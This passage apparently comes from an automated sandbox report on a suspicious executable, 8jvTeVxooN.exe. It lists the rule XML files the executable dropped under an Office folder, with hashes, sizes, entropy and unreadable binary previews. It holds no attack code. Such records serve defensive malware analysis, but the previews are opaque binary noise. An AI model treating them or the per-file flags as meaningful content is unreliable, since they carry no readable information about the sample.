SHA-512:	2E9542465D9290BA1CD92723012C6D3D39AEA99D4F9F662D77C743240296EC616B72C4FD39FB832D09DA62A53A8488988C7237DEF0E2511BC221BFF8D001964D
Malicious:	false
Preview:	<?xmlf&..c............b.E..`...K..{\. Yj.%..^+....I.8...)....v!._../.K.@.g.N...+.4)!..#yhMY..Bs_...f?Q+.Kqw.....F.....:..i....L....@...6.&...nm.v..>.33....k..#..o#...n. ..7..#z.-t...7b,b....%......_......<..U../o....v.%.R..n..q.~.x..JA.P.d.W.)..L?.. G$...).$.<...\\Q..........<...W..`%U....e../6A..y......,.vD..#.....y..".../L.Z1.;e@..m....(...n..\Rp..<..(g..uZs$.D..zF...p........~..FqY.hv...R... ...:m..J.....p..'.L.04.+ov.$..I..K(K.L7U..!F...b.:0.....gh.i..>7$.D..)..%..VeO.oBA=..IU=.`..Y...P....Cq(....4...e..LM.sD...>J..a6.+..nL.kv..y.@...m?...6T.CE.._...\|....%.4/e.t.M..".<[..z.T.r.=9X`.Vgm..W.:m.....sv..0O}.....k.I...Ky4..$.&.MO.....G....f.D..k.F.....bb.~...~.y...%.......:..".../g5K....O..`..V...O...4.A.c..E.I..z..$<sRq.<SF#L..f.W.h.O..!..F.`.rH..y..7......`W.u.F.......~.....l<<.G...\|.X.z.7.8? ...GeCd4.....q~...#...0....2..w.h\|...geD.ua....k...%..7.~......0.V.....E..J....* ..w..;!y.cO&T..>.;a........L.....x.C)`...G......*....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.882277715443119
Encrypted:	false
SSDEEP:	24:eHhkV/5JCjfBoCZ3spt3IuF8ci3EIMhKH7PmDV9edTZzUiecg4M2H3OObD:P55JCdoCZ3ot3Ip73E47eD4hbg4M2XRD
MD5:	59B715ABA47A9A1EC43FE0C739F3B8D2
SHA1:	C0BCCE5D667E64DCC47B84EB7C4F6966C2AF7A8C
SHA-256:	68C7C35386BF2BEDF5ED47F330FDC439703AE7AE089B7577D1403CEBEC1BE0C8
SHA-512:	9B32296835FF0BA760A93D33B94432F715114952031867EBF9AB71772003EF67968F35264B385A5F6303C7D6C0E4014B01D1D72CCF002EC70C980206E131D82C
Malicious:	false
Preview:	<?xml.v......w..@.7.....E....zc...75q%..%...... ......o.R....n..7......+.V-...D...l..k..(...<.......1;...c....%...T.a# j."........s....b...=f.{..q.YC9..hq..c..:.>..d..o..%T....'..S..G.y.j.".E.i./.9+%3...,.....\..q....}."G.\... .XD...43{.v......yr.....H..s.......C.+$...c}...;..>$Lh..Ox......>..oLI.P.r.4y(pP0.O.Vp....'_....,N.P.e....=D......u..J...ct1.w.lc........5 ..a.........T.B1gJgW.\j.;..F..x..>..........H'B\|+i".bZ.R....I..u4eG$...z.....w.._..`.G.8./..&.,..2u..P..S)..q!.B(.{Q.:..v.P...................\o.@......pZ..3a.3V..[.<..2...S.BNC.I.h..n.q....(#Z..sU.R.H.#...,.ux..PW.m..c......@.......O5..q...a..]...u-....%L...fA..i...G..XA.?....}>...F=.>.^U.).nBr7X...x4....3..@r.7\IBOu......Xw.#...x.......AZ .....>.];.J....0H..KJ!..YKQi^..z.:...C*\|...........F=+...`..........K.oS~.2..i...Pz.L.."....mx.0.T.3.P......."..><.g+R.Q)..0..nY...!./d)..E.w".O..r.q0S.1.S...E~.Q....@Y...V.p..b<.....R..c.....L...&".....jJn.Z>;......g.s.f.S.O..'..6n4Y. ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.893879105393923
Encrypted:	false
SSDEEP:	24:/sOB84PbSyC+cih4nj0Hx2vio5fjQZGFfKVogvYTuAAwLLX/JNmUDAHGx1PBBmrP:Po+cihC06zc3VogvYKcLXD9k0PrN8D
MD5:	46A6E430EE4F5486AAED85A2689AE1CE
SHA1:	8CD9D965E038F4944FB361A1B138FBCEE073B996
SHA-256:	3FE81F982F151CA7C42C60038F57D8DC3BD7942AA9C3CD4FB9EFFBD483543BE9
SHA-512:	1D4B39ACC6CCCB7EDA24B1FCF9819C0FD3863C0D28940C36295A622370E1389072B85A97179B25CD4C7C4A72204EFA232C921237107D1E9767E0C5D208662BCF
Malicious:	false
Preview:	<?xml.5.8G(2...q.Bx...S..........it.^.k....zQl...W.64..V...)...@EU._.]...I..T8..Mh$...Z-....T{.......YJ.....%F...&Bg.NO.H...2..6}..Ke7u.}b =mM......-p..2Jl\|p~..=.. m{+.@eH....>......AU..L.F..P#'a....E.#.Zs.+..D~.4..............C.'....$...@C.A..icL(.B8..Zp.C-+.`r.Q......X.T..PM#...o.uM%.r. .g..Px.}.....y...s.X.[[.`2..Y..............~>.@.j..0..!...^r.S..=.G3.._.E.O..d!".6Y...U...a..p......L...c.tD1......>.......'].b.[ .j..T.h9......@..s=N._M.F~....\|!...b^.L.R.5....PPJ...B07...*.j9.L2K..j...(..;.9K.z......WMOX..Sq...[X....U.W......I...z......Z..a..'v.....4Wlw.G\|Yt.%@..N^4.j1V.E...PoE.......b (..s......E.&.,.q.g.r.{.'...Gy...9..Y..[.b....{S..@2..d....p.A...'..G....^m\m..e........(....r........G..Z.<.....\|.W...5.......X.7...+....BDL5Q~s..$gz.78.m.%?.3..>......f...]j4r3.$.k.%.u#i..#..Xj......!....I...J..E...Y&..H.'j...hv.]....E....3...1'..S.......yN.i^..4.....=..l.L\|.C......\|jn.....Q..W;.k]....c....0.K.nl(..j."z.....,..88......7.....:.....\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.88683570884983
Encrypted:	false
SSDEEP:	24:MA3ciRXANdq8o5sIrclr1LTLRGn4N/XB5YMmLo0v81brbEm6hdLKTTBFAzwpgFPY:fd2uzcZfz/RkLXE1bxWI3PHpWA1D
MD5:	D4621B6BC117F143019A02C1A2CA046C
SHA1:	5C9D5A6B079A98F42D26FC557A64878785E8E2EF
SHA-256:	DD40183656DFDF34B6708FBD4E1755AF4364E7500963CED19E3F60BEF0EEBF5C
SHA-512:	637A3FA030F4D5ED4AAB7A0C60494FE958457818943F2500EFD1D2EC6147BB45B65D03ADEEF763899997354D2EFF6E5B797A7268AB042791B3C61FCC9F5D7713
Malicious:	false
Preview:	<?xml..!...$.K3h.qa.F.fwg.^[k..-?......%...?m.3 .].c....l1!.re......</a....<...gA....xb...}....o.o`..u.....KeL.#.B.......m.).....8.../..).e^&...<c,]L..9.....(M.~.h_.=.3..:..y..&u.+PI......R..&..M.g....&p...mt_@A....Y...-.9zpou...Cz.x5....%....~...#..1..H.^{-.8......'....\|..Q...c.....tgb.......r."...v8........j..+x.X......A?"w......{....v....N.- 66...c....}..V8V..)..@.f.?_tp.c..]..E.l..E.V.\|i...i.x..!.T~9.w.9....1.Z.yQ.Q3..FPE. w.......4.W"..!.B...k......g..VD....<..s.s..^s.EiA..rJ.Z.U..]R..XYk..K.......3.r..=..o{..H7.z.K.......l..<..Y...!..R........8ZW.........~.t.z....K.I...z..q..yMad.....w......../.c..6]q..=d..>..S_.:...c...I@&.Y.BA..R".lv?.....@........l.?.zv....... .1.S.[B...c.?.Y.(R..L.Q.U.Q.#SP...... .....g. [..&..).6D..$Uc....Z..^.'...Yq.^.d)gb.G8\|.,].8.b..........0.%......2 \5.).9..._...B.w.V.BT~;z..5j..D......e:.3[..7...5......\|.Y..eK=......L..[..E...c..l.;ru,0>2...Va...D....?..O^...-{nG...T...P.t..-.VR..Q.U5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.880642522025873
Encrypted:	false
SSDEEP:	24:suqe3ARIqgz246AQQXgtYgXXw0/2idcEnKx7KiDL7YGMLVb/zJs/Y0DjKObD:I6Aiqgz2466Q1DKFKiTa9N0PtD
MD5:	57B023A3D4BAF9E786BDEBF1053566FD
SHA1:	66FDEDE3C1B281D17FBDAFEF1ED2F464B586342C
SHA-256:	4F48E267F2114855DD621C90E8EEEA91C95E66B78A24F61B5B3BFC179286D859
SHA-512:	CE29BDED6269381AF3B5B1CFA65AD99A7CEA92ED6B28726437396C05620D39024C0F772030C343CFF04BBB87EB685CCDE057F792E5F0027E3B4E85FE6D95D9A8
Malicious:	false
Preview:	<?xmlr.D.X..&z)OR...........8-......t....A5.k/3<....is.!$..b.8.p.pB....B.Y ..!....^..?.....'....+.u.}.1....4...I..qw5d...}w...en. ..(... .K.7.S.<.I.0`c\Y.gN..Xf..%my......X.....H+....?..fV'E.j...F5.eW..Wl...Y.Y.3..?..v.R.....`.fc bFP.....~Ti.U......@......Us.8...1.......[.....U.....L...:.....M...z.W....!&&}.$.O..u.}..s...>.>.....-sp%~.x.,u3.....n.&.]..\|.$!/.......O....4.Gq.H...N.."..k?.0..X.Jy......~......c...K..Zk.I.....c....i\|w.B.....#^.h.4.!.wY...w[..V.].sE......(.j...U%w...,..o....f...B....R.n;IB.S..!.,..R}.lg+.....F...\|d]@...9X.d.W..i8..1d.f._..Y.s.......;......1P~..R..Ki..m.=.q...w.......WE..\|\|......x...+.,...g..WG.X....(...........;.K.O....W%J3!.a......6....``@...A..l........\...*......./p..C...J..]..v)..I...wls.E...r\|y\|a......LG.mI>...B..C.X....+.[...Huk...?.....M..?^.1\%...L+....~k..t....nh.K....Fz.9V%..s.>\...Q.p......m{.I$.zZ`.C.... {.M!v.n..{.JAM..8..F..oE....7t.s...AV ...@...3..E.O.#...BV}qc........\.63l\.l"...(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.854571696173618
Encrypted:	false
SSDEEP:	48:xy0kdqOTHd8thxNOyxQe0ymefvWyi7GCsD:xYMO9ENOMH1i7XI
MD5:	F2817230440E59BB404141854D429249
SHA1:	991EDAA2A472E90E7DAFF2DB12537CCF7402A43C
SHA-256:	A9646E430A54505FC6CE0FC765D5E8E04D6699A13DBCFCDE1FF48B77C1CE040C
SHA-512:	3DDE238BC32DC105FB329221BC957CEDA320CDCED6172CA0E49321592546244D4B2A97CAE681CEF5E2E4D2B9778C257D120AE1CB4C74F89075A3BFF82AEB6012
Malicious:	false
Preview:	<?xml.V...............Q.9..f...9^FK.!.n...Q.5.k..XD........UA1...K..:....8..y..TE5.?.>:....?.f.noD..Gd...F..X6..7!.sr.8X....m.<!../...Gc.m..&...yY..!....d....jF...S.'.D..._ri.J...P.......Z.). >-V...b)....p<(cZ...R@]O$>b7R....v..d.......\Z.x...:DQ>Nb....l.......'.d..lSaM6"`.............N.$.sfQ(..."...E@.B...28c lAfQ{.l...._...X.r.X... z...J...UJp.e..)....\|.b......2..c...y_O..._....hC$....^<..+O.....A.....SDA..a..$C.])........I.....os.R.<.vg..KP.....!.....5.... }\....]5_......d...u.T-.......A.r...E..nL...N...Q..HV.....R.....h..s..'.....~e4..Y....".d.......Yw....7.Q...%...?.....=.-....0...3x.gP._..Z...I..m......r.9.`:o.J...g..Q....@..../.H...6Vm-w+.......ZlP.....v...\|..Z.7....RQ.;..^.^.s6..>....A....m.n.}....d<q......x..J ...-....y.D.q.z'...H..PQ...`....P...."..p..C9...135..Q........#.M...Y..g..R...f..g...!yN...o$.....Xf...i".......-c.....(....\|....-0.3S.H...j......(^..Q...11p\|....Y..].....v...'._...~..j..R.z..["....Y7........Xl.P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.8755392502424
Encrypted:	false
SSDEEP:	48:/Z67wr26GHi/u5ObZKB4Gdk0KvOqnNj4p/G6qCCjtD:cGF/u5oMVEvOa2pO6/8
MD5:	2FA0E42106E1F24D02A8473923CBEB03
SHA1:	468BA63EA7280A6B1A5A384544501386C49080B5
SHA-256:	456B9AA47841F4D206BB890AB561C1C0089AA4776FFC36669538CF7F00210FBD
SHA-512:	0E945B7D5598AF2F27EB2130CCDC96B37EB9A8B43672D0C8669D10926758902F49C340EC0B45EEB8EB1AE226D998D7225C7D723DF181351F371B80614E163EFA
Malicious:	false
Preview:	<?xml....r..oN(..L.c.GDH.......[.@yW.[......9.....(T....V....j+\~.F.y9..G.}.`F.>7.g..@.!.#EDAK.=..1..x..jx_.1.........L[.;a24..4(.......-..>mn.k....Ny9..jm.\|.(.i1}..wuY1...Z.......t[[......D.=Bp...sK.Q-.?`.#B.6af.h..6....K.X....[w.GPv.,t..x..iD\.x.7.......v.j.{...p.#...................G!.....O......{df.....4x..Q.......E_i.n.P..C9.....Zwo^.g... ..i.d.d...l....2.q.!%........_g^.Iv.....J...v....0..r.CO5.P.O..)>..jl...G.Z...fi.>.jB.j3..........>e..pH..bD-9O@...F........O...w.R7..#h,..,...z.3.b.....Kt...%.Q....3.Z^..t..&..N..c.........h..8y.2T.b}....a.....,6.:l.0.....l&..,..k..........>.(.A..V...Y..D..f.p.....%U....6ZV.#.1.U.5....}....-...-.;..H"...o.....FA.s.Y. .....Vm..$Hik}..[.j..?.F_;S.V.....].=!..g~5ZHj..D.`...W.R...1...M..8........c..#.M..s1....[....u.....BC%qlq.p..h........@.".-.....%:_.jD.......... ...h..hL.$.$P.~.P..WW....[G/E.M.d...........~..S....'f(]..<.N..!6.4.K........6..J. ..U...{>.......a..i.\....w.....L..P.DY

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.877168853545842
Encrypted:	false
SSDEEP:	48:myBC3eU0COKEy0tyk3riUAMFKgExsqAPZKo5sgye4D:mGCTO3vrKMFbEdAYQk
MD5:	229367532AF9779284BDF3FE8F8DC939
SHA1:	65A28D70E8DDB03CB721EFC5CE80EE13B58D5F9F
SHA-256:	9A2E64B351A46AA7A254EC86D9D5256D156E0455DB676354B9423E3679D664A9
SHA-512:	D121D829E789440AD9904BAB9BAC734C9F12DBFC22ADD314494D905011FF83A81BA1FAAFF40AD45FCBF0BB0E77DD8EDE5D25CADF97B80BDDE5969674478F13CE
Malicious:	false
Preview:	<?xmlw3.4=1...........t..5.=F<.......S..;....XF.)H.f.C.nb.UHP.....uu...&...Y...iu.=.b....y.R. ..=.^.....?Laq.....t....Z....\|.Y....6)R.^.7..<..4#...v........4/.m..].N..."..;..5.. .D...b.u..y+..3.$.%[...}.$....J...?...`{...G.....m....5..Pn\.z.g.1.).b..]F.....D.A.;......K>....oaK.8...G.=.>fH.y.L.u,...K#.Ob.:................."..X....h........pK....,%k....[..Q...&Y5@.f%L..b.[@...q....d.'..Y.$5;..\]..C.r/.eW.......\...+...-3...x..)....5<.[.....K........w.~...2^6...i~j........#..:.0n.(...@..;a._.{.P..C....C..- ^....+G..W...j.@Z..T....6q2.).v\..s..>..?..>7.zh.#..:,.c..4.k@3.n.3...7....&.Y...H....{.1.{.O...Ro...y.........2.Z.VY...@/9t..P..F..o.....T..W...XN.;.Z.]...Ydc.h..fB....{/N.x.z...v"..1.F..#.^..<g.9.:nh...?p=M%;...O....e.o@..C.0..3 .{_i.Y%.F....S4..\|..kK1.....{n............l...f5mC..9..;/X.I(5.n(q.. (...mC........C....L....YW.".....$.....k78...y..........7G...........5.\../...H..L..2/{..R`fJ2Z!.J.+.}...M.....pP:..yS...s.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.899758252542436
Encrypted:	false
SSDEEP:	48:mX1ZCrvLNMij9NcbMarj5Nmvk6ON32SkhwAaHFvS9D:mFovJRR0LX/NmSk+HFvSF
MD5:	D6D0F1B9B101AE4BD951F705359BAB8B
SHA1:	2C07F0886408B669751EE2A03E923B5F990FD7BA
SHA-256:	725A6E7FD956E20EE9DECB09E583A41555C6DC0E640A69D18683697598133A20
SHA-512:	0804D8EE8106AA37804465BA1A6F5C39875FFF22969D6D6466D604B1A4DEB03A4263D2047B3D29098384EB356B9E5EA4D54E41A810B85A85A1836C9BAA7A5AC2
Malicious:	false
Preview:	<?xml.(..K.".{."8.C:.^.&...../..9_......%.Y.d%..\|...~.K..>.qr..0....2-3D=..o.....5?.Ku.K4S-.A...x...@F.._..>.~....&...Q>n.x..w..~..C.,..m.dM._......E9.....H.......\....:.8...S.3z?.l.5.#.....8.$......A..^.G92C......F......b.5.^[.;-".a+C...>]Z.&."....@.2.w..........o...+(..df.P9Fvk..#.'...TO..q....ec)........<.=....c.\............H.CB..7.....KM..rkN4.-8...X}.\|..@..a;..Af.]G....1.!....U`./...W.P..t.jp.._.@....:..7iof..G..i.L.0.o9...X.w..gr.m4.rLj..v..(..=@.".E.&%.9<..I.~R<0..!....\...........AX$..H..N...xq.x$.zy#n.......c.\....Z..\`.S...;..\....o..J.A..`....>.!._A.o..{.z.c..@b..LlVL.....In..aI....8.3`7....;.".....8..x.".~.....x.....L..P.'....-/.g3..(..E......X....[~.w.n......V.O.....4... g.QW.,...8k...a..0f..._........5X.P.../rP...1..+.k..;..yN'.dp.X......rsC........R.....[....lz...4..b..x.6..a.$.... ..w.......h....\|.4.9..h..!d...i...u_.V.S.J._A....,..4.P.......[......v...0<.P.4.l.....9.J\...,.Gyv.u.y....\|J)..L.v^.$.7.D.4....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.894322902802067
Encrypted:	false
SSDEEP:	48:dwiWVDyJTrONO80Bw2KUKt1fAHq4PmzY3fD:dwDGtz8p23KHfADPmzY7
MD5:	6FC27D0472B9DE3F4DD207F7B4B6A567
SHA1:	C4EBE8E5AC3E46058862BC74C85AFA0CDF4CDAEA
SHA-256:	501750A38B633576BB6855F7005DC6186A01865C6CD587B532B050E2ED2D3A8A
SHA-512:	A65BDE1802A07397131F0E51C17FA738B14D51BB536A1D09B06DA634D1AECD50E7C60B1CDEE2F8CC41CAA884A55E139035649047B7C7E58F18CEC34C3C3C4300
Malicious:	false
Preview:	<?xml..B.2.....p.j..$C.Rp>..#d.N.....9q2....4..[.Q..K...a=..4.....s,+>o.OS.h.w<j.l.....T...}G.......5..R...+....Z.=J..O....S....N..o/...fl0....O...J.;.w....i.q..M<R.........N..K.....9Q....=...`.-..X.Q/0.{v.o..{.$...2}..\|C h9@......VZ._..\}...l.w.1>..i......%....F..3.....C....z2W.'...A,.1._...u...xJ..Y.)....Oet.ozw...N...<......dZ....2...w....V..y.r.]V.....1u.w..#.9.r..gwcmf.....m.2.0....I\...-.FT.....8Xe...>R.......L....E=.;.]..`....?..{.....2o.......Z......M_..7.M.(....a..'t....fW....Q.G.......F.. 1:...1.Ig...Nqa..n.N`.~.C..~...[dl..~?..&...G.{...S.).....M.\y.a+3.}h..}f.....RW@..:>?.L`V+i..Xk..A.p...z..~.v..N...D.4......%..D.<.j..$[.O.f...W,...j.o..<.UYw.Z^..p.Y_.3..7..j..<0-..C\.n.a.xqz.D^07.$...F....`M"a..#]n^Q...D...}..%.i..E#.U..a.......,.6... .....]WT.k;F.a!Uyq..r.L.\|...i...uR.7.:y.P.%$y\|... ...%._..t..K6*..(.....{K1.f.....f.(.....T].].z.#n~.Qh.4....t....E....".";t..........DD\.W...\|..^.;>.i...fQ..0V@W....svy.)p%8\....D@.-.....L..Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.889772098220429
Encrypted:	false
SSDEEP:	48:2OSnhTfAwgoZYNiJDyRQmlvXO6YBh3eUxlKYSstpnD:sfrFJmRxO97OUIsDD
MD5:	ACF2B4BF779DB1BAE201BD763351AA7C
SHA1:	5ACA60D607007C0A58452CB31C3A56EF96CEF57F
SHA-256:	2554A3ADBEBD96EB823C3291DA294E972FC75B068872CF62C46437A38657839D
SHA-512:	4CFA74409C64C30B2D1C736049FC0681521F846E95386156DA18B4FF5BE05E7B71D4A592D8BB8BE8E47F41213737E3997066E6DE8255D4F21A03C10DECFCB241
Malicious:	false
Preview:	<?xml......s..t.O....&..>./;....qD...-...........-......P.@..+.;..:...R}.. is.r}..b.a._.X9E..Pyo../h..+..f.V.UI...-(g7q...~..J..0&9]t........6.......?Mi......E..W.c..3... .]........[[....K7..5[}o.s-.R.k.~d...._....D..OU...i..B....@..n..IHj.x.....P.&u...#Ds..lF..k....+.YD.."U.VV...h.. ....3B.l...-)...G....y....y..G3I..[.k..6.'.i.b..5IP....;........m.C.G\H.G{..v...X"..Abn\|^_ei.s?..,q..]....5.h.u;Q.,;.O...D.K:3...U.x...@..I....f..z.K..nv.[u!.....=.....I]=H.tA.....n.......AZ...n}o..p......Cd.$....%\.s{+.{.mG.f^.. c}2...%.l\._..X.QI..!5..........='....`)..X =.k`L..d..=..D..d.9.x.v.....s."...?}4.c..z>.JB/K.....w.n.a.N..u1.'.ZS.N.;g:L..\...}...Y.a...s./.f...="k[._..."...<.'_.....S...e/.-.!D.K..l...l)..91y.....{\..KA....J.t..+.....S...-.......'a".D..U.On..z.w..0...%...s.. ..I....Q.!.F<.4..(6P.........wS....b.....^...B.......M.....V.rr......_..u/...Z.Y.......!......r1.. K..57.JM..yS.i..J.q...T..J..Vs.......Hq..#...4...9V\|SS..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.900025352609957
Encrypted:	false
SSDEEP:	24:ZQWtDW/Up62zGLyfdtQT+uFhz7WMyCar6ZVCLCVVlsWazRZqqzkC56cbw1XTFaHI:JkE6ofdtQTfPT9jlu/AC56cbMpaMD
MD5:	9ADE30310768BD0F0C31897D31C2DB99
SHA1:	19844D2252AC4A803AEE858DF4C6DDB3476F2A30
SHA-256:	1478F6154E8CD58C549437675553723725CFCD7180384C00A92FBB37D054C302
SHA-512:	F37EBE1EC853D0F1BF68F8F0821B5D6E6B0F4A0E1FE0015981251DFC7000FDFD0F9B923E31720324C963161295E474BEE7E38311B8679173B55E3E2BC5EE6D1F
Malicious:	false
Preview:	<?xmlg..\|9'...(..........N.E.E.B.(gB.o....z!..w.w.0....zAa..O.y.ZRm..=?..T....o.4.......J.b..}.:.....C.4~.P....N.#...5..A.p.q..-.U.q..8.<v......Qrs..T.n0.1..CP........"...@.<@Wp+T..d..DH.`...y..?.E\|.03.7H.V..B....g..}&!......,.Z...U.....a.....'\.)...!....8..,o.....U;.mY]!....x...=nG.-7..%..N$..;.P...IE1......j......'/..G.\911..R5.~#.D[..0,w.. ....a-h..+.GP..7.....YI.#uN.0...[&..."L....t....54......7...X='...C...}....8\.#?=.o}e....G...&#+...D.t.>.Z7#D.3N.....9.$I....lD.#..HV.&....>.jA8....V.z..F..dxA)...iX&W.x.z...,.jl<.j.p.....?Z...E..n....z..v.{.......e.)..,.k9U...S...T.C.,KVv2j.M.w....}X8+.}:f...A..).+}2.H..:M@....<...{2<K..%......M..0b'S.bl.(..<...zfVke2tkP...5.T@...YKO.\.b.n.hF..P.c.., .7%_e..7..2.j..../....H...xR...0.\|.z.g.Ut..S..%.....SJ.bh.b0....8..Mn..E.2..%".....]......B.......Oj.E>p.I."pu..$}w...a....$r..D.#...qQ.].u..\|..l. \|.M....].H.=v$..ONVNG..xfw.".......... %j.Hxu^D:.)...(...:.....Cc...,.r((.wBR..^>..{{v.n.R....%Q*.7'!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.87234417263103
Encrypted:	false
SSDEEP:	24:A9aFTy16jX0FGWpb+sIlzbQRmkmSJOCQX+tFF/g1yK9r0tYDU00d/J5XLFObD:A9Y0I0cO+s6zymA/A+tFFmyYraYI0GkD
MD5:	3F241D6A364C287F9A32723E22E96155
SHA1:	A41D7EFD9B3F1757D36E361710E4B910A0D1F6E9
SHA-256:	DC47BECE6766F504B395894C679FA1EDA30F63A70CF833C2DD3196F52D2D74A2
SHA-512:	8739BB3785BAFBA4CB1C7140772FB93E33009206CAAE6FC88C88CEC76621A09FEB93CFCA24C7F2A7D60AC78293C4A8A2BBFECC71339CA62B7D2D22B5D1AADD27
Malicious:	false
Preview:	<?xml}..{@~.)YT...x.l%......C....O...h...{..Ar..t.w.#...]Dm...U.5.V..@(..mz....b...lE....N8.;.`.%3.....Y...h.'....L...W.3..p...`..W6@...>..'9U1...~.s...Gj.....%.ye'......'.....{...V3..[.U.../U...7.."..?4...$.#m....4=.5....~..EV`N...>.e.1h.O..V4tOxt~..Q.h%....p..z..b\|IMqD..c....KI...ruK.XlZ...f..p..A...2..=..Q.xs}=yH...o.{{....+p<.&h.n.C.c.......J...[&m.........\...@}....r.jC.@.r.q.6.E.-...0/)m..m.t.l.X........f...~$.....;..F...r.0T ..d+...?@.e....."._..8.J..;.....=. ...k..+(Gr.y...KM.+.....v]..(...R..3.5......o.;...jUlmw.g.z..D.?..K.a....}.]\E...g(..Ri..d....m..&.O..v.Dd....K.......V..!...3....'.^..c.&c~wk.....zY..".j.S..........}..+;...j5.]........Kl.W]..;oR.a ....?..%..SZ.+.p`.....5$.-."C.c.~.e.-.....%..(.D..9....e_,3.m.BhV.......F....Q&.k.._.?<..T....g..~....l.m'..)......4i..9WK`Yy.\|..Aa.....sh.......r.%..0..).r.Vb....H3.V.@1Y..\.be.Qr..j=..M;(...dkuD...P....Tw..Jk}......~....[+K.!.y..^....>......?9......./.q.aR..X.:...t...9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.891529908227625
Encrypted:	false
SSDEEP:	24:4O6VmrNb0CAy1WBo+gqDXJgJoVE9ku7SBPIzSSK1rFgNHbLkLgUObD:r6VmrKCAySM4Z/VECu6IzlYrFgN7L3D
MD5:	29BE9FE48D4CB2CCD02B2770A8CAA49A
SHA1:	3FCE2135D589DF676D74EF066F1643488233A177
SHA-256:	EACA055A20745B70F3E3420DF9CCF4BE6276F04EF57AEC15AD1C96F80ECB7700
SHA-512:	64362A0F4DDF3307EE9C9872B415B836D1BE3F3FE84245E941E346BD5D14778DE4B819F49239A5371F491A1F2FD758D89296985FF8D7EF50A0487CE4D243FC6D
Malicious:	false
Preview:	<?xml[..\..A{..F.a.....n.F5I....i........1M.`6.H..w\|...Y=..d...-/v."zp&........N......&.D.O..\..Ck..ZC......O0N..b.+.~."......U.u.3..V.w].g#td.c.6D.D6...U.. ;.[?...O[T.k.U.5..5.8...CN.>.s..&.;...S(RQ.`F.-.H.Ti@.L.Cp..,..\|.\|.w...;q.n.R.6.e[.....gy...'0..,......o...-.{........}.z....G.Q..m.O.....Y9m....?.$.%...d.ge0.....)...b3.Q..}.-...8&+....]..'....Tw."..P.h.M.?...2.....2.LQ...a;.....U.G.~...7.9H.'.......G\~..~..UaUV........h<zB..G.N.;,.t...U\|....;^2!..X!O..`..._.._.P96...)..s..6.]..q=(.V.T<%.)@:....q:...t.#..G.8.@.S......34CU.t..[.%..{@Z^O....aq..j..=...h\|....&7:NG7.....fK.y...;....l...[j..P.9..5.g...(.&...E=Dsx;......,......m...UsM...SPT.x.......+k.{..R(.\....1V....~XX...y..=.......z?.n...lG...j.Z.N>B.r=._.Z.5....).....x...D.....V&.^..\|.a%e.%..?"..S{6.D...f.o.k`.;..."x...J.K.........4"..F...Z....f[....32.C~.:r ......&.l7...'..Q.....E.~0..,.uBC.wH.^..qR3..?.#.#5.,..Yk.qoAcY...\a.Orw\|.9.$...C...Q3^..)..N..c..{..\|...+...:\....x<.....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.886893230662152
Encrypted:	false
SSDEEP:	48:otiM3jMNgKp27xaZH+6Hffb4UwSvbdRuTO1UILXKdD:oVgiI27xGHr4UJnuCeMw
MD5:	1EBED36FB20B37728CDC895D9B7A85E7
SHA1:	A90B72FACF7CE4E7CC50195F25556B1B7041DA9B
SHA-256:	72419688A73C5CD5283EAD42E2B01B933F2C5E8839C0720279C42FBCBD36BDC5
